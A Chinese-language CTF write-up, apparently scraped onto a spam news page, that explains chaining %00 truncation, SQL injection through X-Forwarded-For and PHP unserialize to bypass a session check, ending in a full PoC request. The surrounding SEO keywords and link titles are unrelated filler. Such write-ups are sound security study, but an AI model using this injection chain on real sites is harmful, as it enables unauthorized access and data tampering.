当前位置: 首页 > news >正文

图片站wordpress模板下载南通网站建设制作公司

图片站wordpress模板下载,南通网站建设制作公司,做企业网站安装什么系统好,支持api网站开发文章来源#xff1a;安全客原文链接#xff1a;%00截断配合反序列化的奇妙利用 - 安全客#xff0c;安全资讯平台前言前段时间做了一个CTF题目#xff0c;发现这道题目相当的精妙#xff0c;主要是利用了%00的截断来绕过安全校验#xff0c;最终利用反序列化达成目的。漏…文章来源安全客原文链接%00截断配合反序列化的奇妙利用 - 安全客安全资讯平台前言前段时间做了一个CTF题目发现这道题目相当的精妙主要是利用了%00的截断来绕过安全校验最终利用反序列化达成目的。漏洞分析可控点整个代码十分的简单就是猜数字的游戏但是按照正常的逻辑是无法成功的那么必然存在漏洞。在config.php中:foreach ($_GET as $key $value ) {$_GET[$key] daddslashes($value); } foreach ($_POST as $key $value ) {$_POST[$key] daddslashes($value); } foreach ($_COOKIE as $key $value ) {$_COOKIE[$key] daddslashes($value); } foreach ($_SERVER as $key $value ) {$_SERVER[$key] addslashes($value); } function daddslashes($string) {if(!get_magic_quotes_gpc()) {if(is_array($string)) {foreach($string as $key $val) {$string[$key] daddslashes($val);}} else {$string addslashes($string);}}return $string; }对GET、POST、Cookie和SERVER都进行了转义。分析session.class.php代码class session {function __construct($db, $session_id, $session_table session, $session_nameSESSID){$this-dbConn $db;$this-session_name $session_name;$this-session_table $session_table;$this-_ip $this-real_ip();// some other codeif ($session_id !empty($_COOKIE[$this-session_name])){$this-session_id $_COOKIE[$this-session_name];}// some other codeif ($this-session_id){$this-load_session();}else{$this-gen_session_id();setcookie($this-session_name, $this-session_id . $this-gen_session_key($this-session_id));}}function real_ip(){static $realip NULL;if ($realip ! NULL){return $realip;}if (isset($_SERVER)){if (isset($_SERVER[HTTP_X_FORWARDED_FOR])){$realip $_SERVER[HTTP_X_FORWARDED_FOR];}elseif (isset($_SERVER[HTTP_CLIENT_IP])){$realip $_SERVER[HTTP_CLIENT_IP];}else{if (isset($_SERVER[REMOTE_ADDR])){$realip $_SERVER[REMOTE_ADDR];}else{$realip 0.0.0.0;}}}else{$realip 0.0.0.0;}return $realip;} }其中变量$this-_ip是由函数real_ip()得到其实是从$_SERVER[HTTP_X_FORWARDED_FOR]等变量中取到的意味着变量$_SERVER[HTTP_X_FORWARDED_FOR]是可控的。变量$this-session_id是从变量$_COOKIE[SESSID]中得到的同样是可控的。所以目前看到这里我们已经知道了变量$this-_ip和变量$this-session_id都是我们可控的。漏洞点发现在初始化中存在如下代码if ($this-session_id) {$this-load_session(); }如果存在$this-session_id,则调用load_session()函数跟踪进入到load_session()中进一步分析function load_session() {$res $this-dbConn-query(SELECT data FROM . $this-session_table . WHERE session_id . $this-session_id . and ip . $this-_ip . );$session $res-fetch_array();if (empty($session)){$this-insert_session();}else{$GLOBALS[_SESSION] unserialize($session[data]);} }可以发现在SQL语句中直接使用了$this-_ip,而这个$this-_ip是我们可控的$this-session_id也是可控的其次最后将数据取出来时使用了unserialize($session[data])反序列化的操作。根据直觉猜解这个问题可能和SQL注入以及序列化漏洞有关。漏洞利用根据上面的猜测漏洞可能和SQL注入以及序列化相关。但是漏洞利用均存在一定程度的问题。对于参数$this-_ip,虽然我们可控但是还是被包裹同时之前也进行了转义所以如果要利用必须要能够逃逸出单引号。其次对于序列化漏洞需要从$session[data]中读入数据所以要能够利用序列化漏洞的话则需要$session[data]的内容是可控的。但是通过分析对于数据库中data表的数据我们是不可控的所以序列化的利用也存在很大的问题了。其实问题的本质是在于SQL注入漏洞如果能够成功地进行union注入也就意味着$session[data]的内容是可控的。那么问题就转为了如何进行注入了注入的关键问题是在于逃脱引号。分析SQL语句SELECT data FROM . $this-session_table . WHERE session_id . $this-session_id . and ip . $this-_ip . 如果$this-_ip无法逃逸出单引号那么可以考虑一下$this-session_id是否能够逃逸出单引号。继续分析代码$tmp_session_id substr($this-session_id, 0, 32); if ($this-gen_session_key($tmp_session_id) substr($this-session_id, 32)) {$this-session_id $tmp_session_id; }可以发现使用了substr()方法进行了阶段那么是否能够利用截断的方法得到一个呢通过一个例子进行说明$mystr c4ca4238a0b923820dcc509a6f75849; $mystr addslashes($mystr); var_dump($mystr); // 结果为 c4ca4238a0b923820dcc509a6f75849 (length33) var_dump(substr($mystr, 0, 32)); //结果为 c4ca4238a0b923820dcc509a6f75849 (length32)说明通过截断的方式保留是可行的。解决了SQL注入的问题接下来就需要解决反序列化的问题序列化是字符串但是由于之前使用了addslashes进行转义即使能够使用SQL注入也无法进行反序列此时需要可以采用十六进制来解决这个问题了。漏洞实施在进行实际的测试时我发现通过会存在问题。当我们设置SESSIDc4ca4238a0b923820dcc509a6f75849eb2d9059时代码运行至$tmp_session_id substr($this-session_id, 0, 32); if ($this-gen_session_key($tmp_session_id) substr($this-session_id, 32)) {$this-session_id $tmp_session_id; }其中的$tmp_session_id截断之后变为c4ca4238a0b923820dcc509a6f75849。此时计算:$this-gen_session_key($tmp_session_id) // 得到 eb2d9059 substr($this-session_id, 32) // 得到 eb2d9059可以看到多余的被保留了导致此处的判断无法相等这样就存在问题。后来想到可以使用%00的方式得到$mystr QYHuItTPcsD1yj4npiRWGvChx0FLBw6%00; $mystr urldecode($mystr); $mystr addslashes($mystr); var_dump($mystr); // 得到 QYHuItTPcsD1yj4npiRWGvChx0FLBw6 (length32)这样多余的0就可以作为后面的校验值了。当我们设置SESSIDQYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457时运行的结果如下这样就完成了SQL注入的第一步了下面就是构造序列化的内容然后转换为十六进制。序列化的内容十分的简单需要设置分数大于100份即可a:2:{s:4:name;s:6:hahaha;s:5:score;s:3:102;},转换为十六进制0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d。至此所有的问题都解决了最后的PoC为:GET URL HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8 Accept-Language: en-US,en;q0.5 Cookie: SESSIDQYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457 X-Forwarded-For: /**/union select 0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d # Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age0注意设置Cookie和XXF。总结一般的截断通过是为了保留得到单引号但是相较于常规的截断手法你会发现在本例中完全不适用无法绕过关键的校验是$this-gen_session_key($tmp_session_id) substr($this-session_id, 32)同时在绕过了这个校验之后还需要保留单引号最终采用%00截断完美地解决了这个问题。这是一道非常好的题目虽然所有的考察点都知道但是结合在一起确实如此的精妙遇到了问题看来需要多想多思考在安全这条路上还有很长的一段路要走。
http://www.huolong8.cn/news/119226/

相关文章:

  • 聊城哪儿做网站便宜光谷做网站推广多少钱
  • 网站核查怎么抽查株洲网站建设报价
  • 网站空间2000m多少钱企业网站搭建费用
  • 什么是网站外部链接建设wordpress标签排序
  • 商城站在哪个地方宠物店网站建设方案
  • 京东网站建设现状南宁网站开发外包报价
  • 茶文化网站开发重庆网页搜索排名提升
  • wordpress网站速度检测如何设定旅游网站seo核心关键词
  • 天河建设网站公司排名青岛网站建设团队
  • WordPress资讯站点源码企业所得税规避50种
  • 河南省住房和城乡建设局网站西安网站建设 至诚
  • 网站建设与规划论文wordpress功能最全的免费主题
  • 湘潭市建设网站德国著名的外贸公司地址
  • 网站推广的方法有sem推广坪地网站制作
  • saas自助建站手机上怎么赚钱啊 正规
  • 中国贸易网站电子商务seo优化
  • 甘肃购物网站建设wordpress纯文字主题
  • 阿里巴巴网站建设免费专题网站建设自查整改报告
  • 模板网站建设哪家专业wordpress房产插件
  • 秦皇岛网站开发公司电话个人网站平台
  • 洛阳兼职网站网站建设评语
  • 网站建设公司选哪个好宁波网站建设推广公司价格
  • ppt2016是制作网页的软件软文优化
  • 炫酷的国外网站西安做网页的
  • 广州网站建设骏域环保地板wordpress滑动注册
  • 东莞如何搭建网站建设网站程序设置主页面
  • 石家庄正定网站建设成都seo优化公司
  • 珠海网站建设易搜互联新乡市延津县建设局网站
  • 宁波seo网站排名优化公司电脑用虚拟机做网站
  • 珠宝商城网站模板免费下载手把手教建设网站